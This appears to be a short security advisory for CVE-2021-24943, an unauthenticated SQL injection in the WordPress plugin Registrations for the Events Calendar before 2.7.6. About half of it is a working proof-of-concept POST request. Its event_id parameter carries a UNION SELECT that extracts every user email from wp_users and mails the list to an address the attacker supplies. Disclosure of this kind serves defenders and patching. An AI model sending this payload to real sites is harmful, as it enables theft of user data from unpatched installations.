Registrations for the Events Calendar < 2.7.6 – Unauthenticated SQL Injection | CVE 2021-24943

Description

The plugin does not sanitise and escape the event_id in the rtec_send_unregister_link AJAX action (available to both unauthenticated and authenticated users) before using it in a SQL statement, leading to an unauthenticated SQL injection.

Proof of Concept

The below request will send an email to recipient@example.com with all user emails in the "Unregister from this event" URL

POST /wp-admin/admin-ajax.php?action=rtec_send_unregister_link HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 127
Connection: close
Upgrade-Insecure-Requests: 1

event_id=3%20UNION%20SELECT%200,1,2,3,4,5,6,7,8,group_concat(user_email)%20from%20wp_users%20--%20x&email=recipient@example.com